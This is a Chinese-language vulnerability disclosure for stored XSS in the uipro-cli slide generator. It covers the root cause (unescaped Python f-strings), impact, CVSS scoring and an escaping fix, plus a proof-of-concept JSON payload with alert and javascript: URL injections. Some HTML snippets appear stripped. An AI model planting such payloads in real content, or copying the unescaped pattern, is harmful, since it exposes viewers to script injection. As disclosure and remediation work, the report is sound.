# Slide Generator 多个存储型 XSS 漏洞总结 ## 漏洞概述 * **漏洞名称**:Slide Generator Multiple Stored XSS (46 Injection Points) * **漏洞编号**:#247 * **漏洞类型**:存储型跨站脚本 (Stored Cross-Site Scripting, CWE-79) * **严重程度**:高 (CVSS 3.1 Score: 8.1) * **受影响产品**:UI/UX Pro Max Skill (uipro-cli) * **受影响版本**:v2.5.0 及更早版本 * **根本原因**:在生成 HTML 幻灯片时,直接使用 Python f-strings 将用户控制的 JSON 数据嵌入 HTML 输出,且未进行任何 HTML 实体编码。 ## 影响范围 * **注入点**:46 个唯一的数据注入点。 * **攻击向量**:网络 (Network),攻击者可通过仓库、URL 或 AI 提示词分发恶意 JSON。 * **攻击复杂度**:低 (Low),简单的 JSON 输入即可触发。 * **权限要求**:无 (None),任何人都可以创建 JSON。 * **用户交互**:必需,受害者必须在浏览器中打开生成的 HTML 文件。 * **具体危害**: * **Cookie 窃取**:通过 `` 标签执行恶意代码。 * **会话劫持**:窃取同源应用程序中的身份验证令牌。 * **钓鱼攻击**:使用 `` 覆盖层模仿登录页面。 * **键盘记录**:注入事件监听器捕获所有按键。 * **凭证窃取**:用伪造的登录表单替换幻灯片内容。 * **蠕虫传播**:如果通过内部工具共享,XSS 将传播给所有查看者。 ## 修复方案 1. **HTML 编码**:在嵌入用户数据之前,使用 `html.escape` 对所有数据进行 HTML 实体编码。 2. **URL 验证**:对于 `href` 属性中的 URL,验证其协议(仅允许 `http://`, `https://`, `#`, `/`),并对 URL 进行编码。 ## POC 代码 ### 1. 恶意 JSON 输入 (Step 1: Create Malicious JSON Input) ```json { "title": "Test", "slides": [ { "type": "title", "title": "alert('XSS')", "badge": "", "company": "Test" }, { "type": "cta", "headline": "Click", "cta": "Start", "cta_url": "javascript:alert(document.domain)", "contact": "x", "website": "x" } ] } ``` ### 2. 生成命令 (Step 2: Generate HTML) ```bash python3 generate-slide.py --json payload.json --output xss-output.html ``` ### 3. 验证注入 (Step 3: Verify Injection) ```bash $ grep -c "" xss-output.html 1 $ grep -c "onerror" xss-output.html 1 $ grep -c "javascript:" xss-output.html 1 ``` ### 4. 生成的 HTML 包含未转义内容 (Generated HTML Contains (unescaped)) ```html alert('XSS') Start ``` ### 5. 复现结果 (Reproduction Result) ```bash $ python3 generate-slide.py --json payload.json --output output.html Deck generated: output.html $ grep "" output.html alert('XSS') $ grep "javascript:" output.html Start Opening output.html in browser triggers JavaScript execution. ``` ### 6. 修复代码示例 (Remediation) **修复 HTML 编码:** ```python from html import escape def generate_title_slide(data): return f''' {escape(str(data.get('badge', 'Pitch Deck')))} {escape(str(data.get('title', 'Title')))} ... ''' ``` **修复 href 注入:** ```python def safe_url(url, default='x'): if url and url.strip().lower().startswith(('http://', 'https://', '#', '/')): return escape(url, quote=True) return default ```